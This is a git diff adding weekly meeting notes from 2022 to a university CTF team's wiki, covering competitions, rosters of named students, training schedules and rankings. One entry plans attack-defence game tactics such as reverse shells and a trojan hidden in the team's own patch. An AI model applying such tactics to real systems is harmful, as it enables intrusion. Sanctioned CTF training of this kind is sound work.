+yVL3oZj5tM69kE0hGr7U849ciUjBwhssnb0ceHzKa1xYWgZyI8KOuZHjWstdVRD6
+ThMroE0aw6vZRFaTFbX5J8O4AFmt4laovGckmy10QOumxPm8DxcMON35Qtash6Yu
+Wj7RllocgQj9N9DSjE42YoioFd/nEtoyYeCdRcOH/L+7EeTPTcEOAb3fJi1A3Cuf
+H47Aewq4VwSvhXZv//br6XcbbRbtuRcEgGFdPHTOnBJlfvnZpDM3zqpOo+dl3HP/
+8S+U0SphiHyIo2feys48Lk2gYbtfV/C1NsL4HcoAB/9Hqp7/lAEkcRpNracSRfeV
+sgalZKLlYhLnOfFmx9Pew4oWGopzegCyCSYr8NPzlLchuK2rZ0dcDrh3CUd/1oh6
+zBOizNEXUxjf7lrdc81znVzD1OmRR/PrRbdnZYhXfsdW3lPrAiZnCJs0GJCEiy2i
+qnsVBgBgMC4jW9/bAjtI9pChWVoTery7+pSNX9kw3wnmtbmMWUTuEW2pE0fm8ctt
+c84D2Ho98Ie35bwn2mNXUqBOXbLIcvIqulKL9iHc3qhYYJPvzjuBBXUfaLi9Mzp5
+tdC7IuECVA5iUMAL8dA2QIMti6PT/SMYZpZ/9af5bAhBHeiTb37pAz5Lvp7VFmLR
+zsBNBGLFb2IBCADDzWOhyhCyavXOhcvjH6oKvXGJgRQPYp/BmjO6GTt4KFJkIgYx
+0n+Lh5ybGT0ApJ6UjikFIdxqs74I0E2NZdD0gllnFHVObRslXkbSo7KfNfpUef2v
+44LAzdjumr7jOVHXuQjZTSiecwjwPUt2c9M1K+mtDp3C1JNtw+QamSRDdp519tIN
+OJ1HIEMyDQiLQJuQtAdfXuXmwquxJoiDYL7te8XUTj3tXXQEZv95u0UzHRoCk7VN
+qamQyh64AHQIyWmZ+A7N1RIulACeEg9WHuqM3hCxSqNiMA3JuggbrpUQAJTLOASu
+YJSdrRPVAzpYJ73Wg8/+SxZJSUBHx+5dVh1XABEBAAHCwYQEGAEKAA8FAmLFb2IF
+CQAAAAACGy4BKQkQGy77qweNfcvAXSAEGQEKAAYFAmLFb2IACgkQd980lLWrTnK8
+uAf/Z0yM9t8RHU3TtuZsHGXuGwnBlnFvXGyPSzC3/HIY3AOjLMROpTehsqkjY5rA
+IzEUnBxp58vDY13yRVMCrulj/t+AAzdH8W02HDa9UFY/kGGnWM7ix5mqiIJL+ISy
+fJ2bqHyhZg9fD9/TjtIYCIfFYNm9KtXBwiMEQjHfhM2W3CQ3dZ8KyuS4tuSZRQSp
+DB9TxyNi3qzlXFo4BOTNzxGz+mUvw5SBV0/GWjyW8VPHxJ6emoOLCASl3kTzAsV3
+uKXolSGYWaZrmBvng7zRvVpzPxkL4o7jyQbGZGlrpuoN22MRrrDgNhBoasFt8y2d
+BfQpcgpEDWy8i6QbEtDWNZ4XDaFJB/4muUNIletVMKjwJsMW1RqQYT2WT2LDTyHZ
+XcXksqMuDCJsiQS3zldLuZHQ42tzKolVMKR/eyXsuDu/1mNeHQJ8Ocr+ebRGEt4n
+4sgualzsjOMHqFoG0P+Mb6ZKFo3mQoT5QgTZb4zrJCMMxRz1zzkRiZ/6SQFwJwYR
+itLvh7ivvY/Tx/3vO79pcGLqHpm5ZCKMr2KX57qaCft9R1YRcbM0sCx3sCdYfwox
+Ynl7ktbwr3fBRvip6kChB+2Upm8h+qmoXZbdWUM3orgdEvcfRsuxWDIM7OO7fNpg
+qfVpK9zPl8t72zbBChbnFlqUrYTSOsh0GzItqkonp1ABTODjn4t6
+=s/qg
+-----END PGP PUBLIC KEY BLOCK-----
+
+

I won't store your information. So, I might ask you for those information again for different events.

+

ENOWARS 6

+

https://6.enowars.com/

+

星期六, 16 七月 2022, 21:00 CST — 星期日, 17 七月 2022, 05:00 CST

+

An A/D CTF, I've signed up for team C0MP4SS.

+

Note

+
    +
  • [ ] 周末训练材料更新+基础内容补充
  • +
  • [ ] 题目容器打包
  • +
  • [ ] AWD武器库搭建
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-07-21/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-07-21/index.html new file mode 100644 index 000000000..c9e4cf8b2 --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-07-21/index.html @@ -0,0 +1,8363 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-07-21 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-07-21

+
    +
  1. Events register.
  2. +
  3. Summer schedule update.
  4. +
  5. Guangdong Province CTF 2nd Final.
  6. +
+

Events register

+

https://bm.ichunqiu.com/2022qwb

+

强网杯 6th 7.30 - 7.31

+

We have 2 teams currently, one has 10 members, the other has 7 members.

+

Team1: HED

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HED/rolename
Leader邬一帆
Member金肇轩
Member严文谦
Member陈梓涵
Member巫晓
Member朱嘉楠
Member李烨
Member黎诗玥
Member唐骞
Member刘欣萌
+

Team2: kfccrazythursdayvme50yuan

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
rolename
Leader李照
Member刘乐奇
Member冯泉弼
Member徐延楷
Member谢子晟
Member孙祎涛
Member王乙
Member金扬
+

The first team is registered, and the second team is waiting for all the phone numbers to be signed up.

+

Later today, I will collect some recent challenges and their writeups.

+

采取在线解题(Jeopardy)模式,主要面向国内高校、企业、机构等网络安全力量,每队不超过10名参赛队员和1名赛队指导。赛题内容主要涉及二进制程序逆向分析、密码分析、智能终端安全、信息隐藏、人工智能等网络安全领域的主要知识与技能,重点考察参赛人员网络安全知识的综合运用能力和网络安全技能的创新实践能力。比赛时间2022年7月30日-31日。

+

一等奖 第1-3名 3万RMB/队

+

二等奖 第4-10名 2万RMB/队

+

三等奖 第11-32名 1万RMB/队

+

最佳题目奖 共1名 2万RMB/题

+

优秀题目奖 共6名 5000元RMB/题

+

竞赛官方QQ群:856775704

+

Summer schedule update

+

The past training:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TimeTopicIntroductionMaterial
June, 26thCTF Overview & Fun-oriented challenges.Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team.Introduction to CTF.pdf Sakai page Kali Linux Linux challenges Linux tutorial Python tutorial
July, 3rdWeb Challenges and Databases (Basics)Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets.Web Basics and Databases.pdf OWASP vulnerabilities PHP basics HTML MDN CSS MDN JavaScript MDN
July, 10thPractice, Solving Web Challenges (Advanced)Why websites are vulnerable, learn how to crack a website, and solve some web challenges. Find the weakness in the websites and common vulnerabilities.Advanced Web Hacking.pdf Linux Basics BlackHat SSTI PDF CTF101 Web Web learning notes
July, 17thForensics & SteganographyAnalyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images.Forensics_Steganography.pdf CTF 101 Forensics 1earn Forensics
+

The rest training:

+ + + + + + + + + + + + + + + + + + + + + + + +
July, 24thModern Cryptography and MathematicsAsymmetric cryptography like RSA, ECC. A mathematic definition of security and attacks on modern cryptography.Cryptography.pptx
July, 31stAssembly Language and Reverse EngineeringLearn about some CISC knowledge. Use x86_64 as an example to do the assembly. Some reverse engineering skills are involved.Reverse.pdf
August, 7thBinary ExploitationsPWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges.Binary Exploitation.pdf
+

This weekend, the engineering department would be powered off. The training schedule for this weekend may be online.

+

I've invited some 2022 new students to attend the cryptography training this weekend.

+

Guangdong Province CTF 2nd

+

In the past qualification, the HED team has qualified for the final round.

+ + + + + + + + + + + + + + + + + + + + + + + + + +
rolename
Leader邬一帆
Member严文谦
Member朱弘
Member朱嘉楠
+

GD 2nd CTF

+

Before the competition, we would have several AWD training. The time can be arranged according to your schedule.

+
    +
  • Acceptable time: any time in the summer / Sundays in September.
  • +
  • Training materials: AWD toolkit & AWD tricks.
  • +
  • PVP: https://ctf.bugku.com/pvp.html
  • +
+

Better to be offline, in case we can have discussions about AWD.

+

Notes

+
    +
  • [ ] AWD toolkit.
  • +
  • [ ] Register for the 2nd team.
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-07-28/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-07-28/index.html new file mode 100644 index 000000000..c515e62b2 --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-07-28/index.html @@ -0,0 +1,8367 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-07-28 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2022-07-28

+
    +
  1. QiangWang Cup event update.
  2. +
  3. DiceCTF rank and ctftime team rank.
  4. +
  5. Guangdong CTF 2nd Final notes.
  6. +
  7. Summer schedule.
  8. +
+

QiangWang Cup event update

+

https://bm.ichunqiu.com/2022qwb

+

强网杯 6th 7.30 - 7.31

+

We have 2 teams currently, one has 10 members, the other has 7 members.

+

Team1: HED

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HED/rolename
Leader邬一帆
Member金肇轩
Member严文谦
Member陈梓涵
Member巫晓
Member朱嘉楠
Member李烨
Member黎诗玥
Member唐骞
Member刘欣萌
+

Team2: kfccrazythursdayvme50yuan

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
rolename
Leader李照
Member刘乐奇
Member冯泉弼
Member徐延楷
Member谢子晟
Member孙祎涛
Member王乙
Member金扬
+

Please join the corresponding notion group to co-operate in the competition.

+

We have a discord group for voice chat:

+
    +
  • https://discord.gg/Cy2vCpsB
  • +
+

竞赛官方QQ群:856775704

+

Hope you enjoy this competition!

+

DiceCTF rank and ctftime team rank

+

rank

+

@Frankss @Monad, we won 21 rank in the DiceCTF 2022.

+

Yet another win against pkucc and n03tAck QwQ.

+

The competition has some very interesting challenges and tricks, I'll collect them and publish on the Detroit CTF platform.

+

In the meanwhile, we got 27.853 ctftime scores. The coutry rank of our team is updated to 21st place.

+

Congratulations every member! 🎉🎉🎉

+

Guangdong CTF 2nd Final notes

+

We've participated Guangdong CTF 2nd final meeting yesterday.

+

The key information:

+
    +
  • The final round would be in DAWD (DataCon AWD).
  • +
  • The players can't reach the inner server.
  • +
  • The players can push patch and exp to the server.
  • +
  • EDR and rootkit are not valid. But WAF is valid.
  • +
+

We may need to try:

+
    +
  • Reverse shell to get the operation privilege in the inner server.
  • +
  • Anonymous EDR for local service.
  • +
  • Network traffic analysis and block: replace flag.
  • +
  • Store a trojan in our own patch and image file.
  • +
+

Summer schedule update

+

The past training:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TimeTopicIntroductionMaterial
June, 26thCTF Overview & Fun-oriented challenges.Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team.Introduction to CTF.pdf Sakai page Kali Linux Linux challenges Linux tutorial Python tutorial
July, 3rdWeb Challenges and Databases (Basics)Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets.Web Basics and Databases.pdf OWASP vulnerabilities PHP basics HTML MDN CSS MDN JavaScript MDN
July, 10thPractice, Solving Web Challenges (Advanced)Why websites are vulnerable, learn how to crack a website, and solve some web challenges. Find the weakness in the websites and common vulnerabilities.Advanced Web Hacking.pdf Linux Basics BlackHat SSTI PDF CTF101 Web Web learning notes
July, 17thForensics & SteganographyAnalyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images.Forensics_Steganography.pdf CTF 101 Forensics 1earn Forensics
July, 24thModern Cryptography and MathematicsAsymmetric cryptography like RSA, ECC. A mathematic definition of security and attacks on modern cryptography.Cryptography.pptx
+

The rest training:

+ + + + + + + + + + + + + + + + + +
July, 31stAssembly Language and Reverse EngineeringLearn about some CISC knowledge. Use x86_64 as an example to do the assembly. Some reverse engineering skills are involved.Reverse.pdf
August, 7thBinary ExploitationsPWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges.Binary Exploitation.pdf
+

I'm not at the campus currently. The training schedule for this weekend may be online.

+

The CTF training is hard, but I hope you can learn something new, and enjoy the trip to the cybersecurity.

+

Notes

+
    +
  • [ ] Ready for the GD CTF 2nd Final script.
  • +
  • [ ] Move all the challenges to the Detroit server.
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-08-04/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-08-04/index.html new file mode 100644 index 000000000..fc5b1f12d --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-08-04/index.html @@ -0,0 +1,8250 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-08-04 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-08-04

+
    +
  1. QiangWang Cup event rank.
  2. +
  3. Summer schedule final exam challenges.
  4. +
  5. Upcoming events: Wangding Cup register.
  6. +
  7. Today's entertainment: CTFshow event.
  8. +
  9. Some thoughts about the ranks & cyber security.
  10. +
+

QiangWang Cup event rank

+

The competition has ended. 2 of our teams have achieve great ranks:

+ + + + + + + + + + + + + + + + + +
TeamRank
HED74
kfccrazythursdayv50248
+

The competition takes 10 members in a team. During the competition, we used notion for challenge synchronize and progress tracking.

+

The defect of this event is the PWN part. We've done great in other aspects, except PWN. Learning about some PWN ideas would be our next step:

+
    +
  • GLIBC vulnerabilities.
  • +
  • Linux kernel vulnerabilities.
  • +
  • Other binary exploitations.
  • +
+

A experienced PWN player would talk about the PWN sections this weekend. I'm looking forward to the PWN talk.

+

Summer final exam

+

Our summer schedule would be ended in August 14th. The final exam would be held on the Detroit platform.

+

I'm collecting grades and finding final exam challenges.

+

If you have great challenge, please inform me.

+
    +
  • Challenge categories: misc, web, crypto, re, pwn.
  • +
  • Challenge format: any formats are fine, dockers better.
  • +
+

The dynamic challenge environment would be set to use an environment variable $FLAG, if you want to setup dynamic flag for your challenge, you can read this variable in the flag configuration.

+

Besides, using flag file is also fine.

+

Wangding Cup

+

https://www.wangdingcup.com/

+

Register till August 19th 20:00.

+

Possible time:

+
    +
  • For university: August 26th.
  • +
  • For companies: August 31st.
  • +
+

This event is one of the most famous CTF competitions. The size for each team is 4 members, we are going to have 2 or 3 teams.

+

This event would be easier than the Qiangwang cup. However, it's not easy to get into the final round.

+

If you are interested in this event, please send me the register information.

+

CTFshow

+

https://www.ctf.show/challenges

+

An interesting event on ctf.show would be held today.

+

Start time: 18pm.

+

Duration: 24 hours.

+

If you are looking forward some interesting (instead of hard events), don't miss this.

+

About the ranks & cyber security

+

...

+

Notes

+
    +
  • [ ] Ready for the GD CTF 2nd Final script.
  • +
  • [ ] Move all the challenges to the Detroit server.
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-08-11/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-08-11/index.html new file mode 100644 index 000000000..404d37dab --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-08-11/index.html @@ -0,0 +1,8284 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-08-11 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2022-08-11

+
    +
  1. Summer schedule final exam challenges.
  2. +
  3. Upcoming events: Wangding Cup register.
  4. +
  5. Other competitions.
  6. +
+

Summer schedule final

+

Our summer schedule would be ended in August 14th. The final exam would be held on the Detroit platform.

+

CTFd-whale has worked properly. In case the Detroit platform has un-predictable problems, we would have a backup location at CTFd as well.

+

The challenges categories:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CategoryChallengeDifficulty
Misc3Easy to Medium
Web4Easy to Hard
Crypto3Medium
Re3Medium to Hard
PWN4Medium to Hard
+

I would update the challenges to a self-hosted CTFd for test. Team members can access this platform to try the challenges.

+

Challenge time: August 14th 9:00am to 17:00pm.

+

Challenge solving: please solve by yourself, teaming and cheating are not allowed.

+

Wangding Cup

+

https://www.wangdingcup.com/

+

Register till August 19th 20:00.

+

Possible time:

+
    +
  • For university: August 26th.
  • +
  • For companies: August 31st.
  • +
+

This event is one of the most famous CTF competitions. The size for each team is 4 members, we are going to have 2 or 3 teams.

+

This event would be easier than the Qiangwang cup. However, it's not easy to get into the final round.

+

If you are interested in this event, please send me the register information.

+ + + + + + + + + + + + + +
NameTeam
刘乐奇1
+

Other competitions

+

2022“巅峰极客”网络安全技能挑战赛

+

http://www.peakgeek.cn/#/

+

线上赛报名:2022-08-01 10:00:00 - 2022-08-15 12:00:00

+

线上赛时间:2022-08-17 10:00:00 - 2022-08-17 19:00:00

+

参赛者须以团队为单位报名参赛,每支队伍设队长1名(必须),队长必须是参赛队员,负责参赛队伍的组织管理。每支队伍参赛队员不超过4人(含队长)。参赛队员只能隶属于一支队伍,比赛晋级过程中如果有队员中途退出,不能补位。队长退出可由队内其他队员担任。建议由队长统一进行在线报名,报名完成后可通过专题页的报名查询功能查看是否已报名成功。

+

第二届“长城杯”网络安全大赛

+

https://bm.ichunqiu.com/2022ccb

+

线上赛报名:2022-07-25 10:00:00 - 2022-08-12 12:00:00

+

线上赛时间:2022-08-23 12:00:00 - 2022-08-23 18:00:00

+

4、参赛者须以团队为单位报名参赛,每队人数不超过3人,须设队长1名;队长可以查看和编辑本队队员的信息,并管理本队队员的加入与退出。

+

5、每支队伍可另设领队1名,领队不得参赛。

+

Notes

+
    +
  • [ ] Ready for the GD CTF 2nd Final script.
  • +
  • [x] Move all the challenges to the Detroit server.
  • +
  • [x] Update the QWB award information.
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-09-08/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-09-08/index.html new file mode 100644 index 000000000..1438a1419 --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-09-08/index.html @@ -0,0 +1,8249 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-09-08 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2022-09-08

+
    +
  1. Training schedule for this weekend.
  2. +
  3. Detroit CTFd update.
  4. +
  5. Sign up for events.
  6. +
+

Training schedule for this weekend

+

Currently, the university is still under the COVID situation, I'm not able to return to the university.

+

This weekend's meeting & welcome schedule would be canceled.

+

Detroit CTFd update

+

Thanks to the @Frankss, the mistakes on the Detroit CTFd server are repaired.

+
    +
  • 500 Internal error during logging in with the previous account.
  • +
  • Score graph display error.
  • +
+

Those problems occur as a result of the dirty transfer of the data through different CTFd versions.

+

If you want to use your old account, please contact me to reset the password.

+

Besides, I'm trying to use GZCTF for further challenges maintenance. CTFd and GZCTF are using different hash functions for password hashing. As a result, all the passwords would be protected by a random value.

+

After the transfer to GZCTF, I would reset the password.

+

Sign up for events

+

第五届美团网络安全高校挑战赛(初赛)

+

官方比赛链接地址:https://bm.ichunqiu.com/2022meituan

+

线上赛报名:2022-09-01 10:00:00 - 2022-09-16 10:00:00

+

线上赛时间:2022-09-17 09:00:00 - 2022-09-17 21:00:00

+

本次比赛主办方:美团安全应急响应中心;美团·校园招聘

+

技术支持:永信至诚

+

初赛:初赛采用线上CTF团队赛的形式,比赛时长12小时。

+

2022年中国工业互联网安全大赛北京市选拔赛暨全国线上预选赛

+

https://www.chinaiisc.cn/beijing

+

1) 竞赛为三人团体赛,报名参赛的角色分别为选手1(队长)、选手2、选手3。

+

2) 报名起止时间:8月24日 00:00 — 9月16日 24:00

+

字节跳动“安全范儿”高校挑战赛

+

https://ctf.bytedance.com/

+

报名时间:8月8日 - 9月22日

+

比赛时间:9月24日 - 9月25日

+

Notes

+
    +
  • [ ] Ready for the GD CTF 2nd Final script.
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-09-15/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-09-15/index.html new file mode 100644 index 000000000..40767a686 --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-09-15/index.html @@ -0,0 +1,8261 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-09-15 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2022-09-15

+
    +
  1. +

    Challenge update.

    +
  2. +
  3. +

    Offline meeting & inviting for 2022 students.

    +
  4. +
  5. +

    Event sign-up.

    +
  6. +
+

Challenge update

+

We are going to format the challenges platform to hold and collection of event challenges.

+

These kinds of challenges would be stored:

+
    +
  1. +

    Event challenges that are already unable to submit on the event's website.

    +
  2. +
  3. +

    Original challenges.

    +
  4. +
  5. +

    Qualification exam.

    +
  6. +
+

Other challenges would be removed.

+

Besides, I would post writeups for all challenges these days.

+

Offline meeting & invitation for 2022 students

+

I'm planning for a sharing and meeting with 2022 students who are interested in the CTF & Infosec.

+

The sharing time would be on the 1st, of Oct, or the 2nd, of Oct. The sharing would be given by team members.

+

According to the schedule this semester, the whole of October would be used for new students' training.

+

Before the October, we would have 1 advanced training for team members.

+

Sign up for events

+

第五届美团网络安全高校挑战赛(初赛) - 1 team

+

官方比赛链接地址:https://bm.ichunqiu.com/2022meituan

+

线上赛报名:2022-09-01 10:00:00 - 2022-09-16 10:00:00

+

线上赛时间:2022-09-17 09:00:00 - 2022-09-17 21:00:00

+

本次比赛主办方:美团安全应急响应中心;美团·校园招聘

+

技术支持:永信至诚

+

初赛:初赛采用线上CTF团队赛的形式,比赛时长12小时。

+

2022年中国工业互联网安全大赛北京市选拔赛暨全国线上预选赛 - 1 team

+

https://www.chinaiisc.cn/beijing

+

1) 竞赛为三人团体赛,报名参赛的角色分别为选手1(队长)、选手2、选手3。

+

2) 报名起止时间:8月24日 00:00 — 9月16日 24:00

+

字节跳动“安全范儿”高校挑战赛 - 1 team (not full)

+

https://ctf.bytedance.com/

+

报名时间:8月8日 - 9月22日

+

比赛时间:9月24日 - 9月25日

+

Notes

+

[ ] Ready for the GD CTF 2nd Final script.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-09-22/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-09-22/index.html new file mode 100644 index 000000000..01eaa739d --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-09-22/index.html @@ -0,0 +1,8315 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-09-22 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-09-22

+
    +
  1. +

    Good news.

    +
  2. +
  3. +

    Double good news.

    +
  4. +
  5. +

    ByteCTF register.

    +
  6. +
  7. +

    Offline party time.

    +
  8. +
  9. +

    Training schedule for this week.

    +
  10. +
+

Good news

+

We got rank 10 in the dfjk CTF final round.

+

For this score, congratulations to @Frankss, @Monad, @GGA, and me. We won ¥10,000 in this game, and a certification & trophy for our score.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RankTeam
1Straw Hat
2Redbud
3D1no
4极客信安
5休闲农庄
6你干嘛···哈哈···哎哟···
7小恐龙摸大鱼
8仔鸡米粉不要香菜
9Nebula
10HED
110x401
+

Double good news

+

In the past wd CTF, we have achieved rank 7 as well.

+

Post from WD CTF official

+

This is the most famous event which is hosted by Ministry of Public Security. If we won in the semifinal round, we can get the award from them.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RankTeam
1Redbud
20ops
30x401
4Asuri
5北门辣子鸡
6irusA
7HED
8Xp0int
9来自东方的神秘力量
10H4F
+

Congratulation to @Frankss, @Monad, @GGA. The semifinal round is around 20 days later, offline.

+

ByteCTF register

+

The register due today!!!

+

https://ctf.bytedance.com/

+

We need to register on this website, and receive the team invitation.

+

Now we have 2 teams, all full.

+

If you are not in either of them, please create a new team, and post the team invitation code in our group.

+

Offline party time

+

Welcome everyone!

+

Our party has been delayed several times, let's find a time to take a break in Hai Di Lao.

+

Would it's fine this weekend?

+

Training schedule for this week

+

Our schedule is set to ByteCTF on this Sunday.

+

But I also wrote some tutorials about the kernel pwn for you. It's a pleasure to share something about pwning.

+

In the CTF, pwn is the most challenging part of all aspects. Usually, we divide pwn into 3 parts: stack, heap, and kernel.

+

We already learned about the stack pwn (bof, rop, and rol). However, about the heap and the kernel, we still need to deal with them.

+

In the kernel pwn, I would introduce several parts:

+
    +
  • Environment setup (qemu).
  • +
  • Kernel driver design and debug.
  • +
  • Common steps to solve a kernel pwn.
  • +
  • Practice with kernel UAF.
  • +
+

After learning about this part, we can try to find some Linux kernel vulnerabilities, just like CVE-2021-3156 or CVE-2021-4034.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-09-30/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-09-30/index.html new file mode 100644 index 000000000..9990ffcaa --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-09-30/index.html @@ -0,0 +1,8181 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-09-30 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-09-30

+
    +
  1. WD Cup semi-final.
  2. +
  3. Advertise plan.
  4. +
  5. About CS315.
  6. +
  7. Upcoming events.
  8. +
+

WD Cup semi-final

+

The current planning for the WD Cup semi-final is around November.

+

Please submit your information before 10th, Oct.

+
祝贺所有晋级队伍!请所有晋级半决赛的选手于10月10日前使用报名账号登录网鼎杯官网(https://www.wangdingcup.com),并按页面提示上传本人证件照片,照片将用于线下赛参赛证的制作。
+
+
Congratulations to all the advancing teams! Please visit the official website of Netding Cup (https://www.wangdingcup.com) with your registration account before October 10 and follow the instructions on the page to upload your ID photo, which will be used for the production of your offline competition entry card.
+
+ +

COMPASS CTF team has several works about the advertisement:

+
    +
  • Wiki page: https://wiki.compass.college/
  • +
  • Translation and Baidu SEO.
  • +
  • Challenge platform: http://116.7.234.225/
  • +
  • Going to use HTTPS.
  • +
  • Challenge selection and dynamic docker transmission.
  • +
  • Multi-platform support, blogs, and posts.
  • +
+

About CS315

+

CS315 Computer security course is the most interesting course in SUSTech. I really want to do some cool stuff in CS315.

+

Discussion about the CS315.

+

Upcoming events

+

The Third "Xiang Yun Cup" Network Security Competition and the Fifth Jilin Province Student Network Security Competition (preliminary round)

+

https://www.ichunqiu.com/competition/detail/293

+

The organizer of the competition: Office of Network Security and Informatization Committee of the CPC Jilin Provincial Committee, Jilin Provincial Department of Education, Jilin Provincial Administration of Government Services and Digital Construction +Organizer: Jilin Jilin Xiangyun Information Technology Co. +Co-organizer: Beijing Yongxin Zhicheng Technology Co.

+
    +
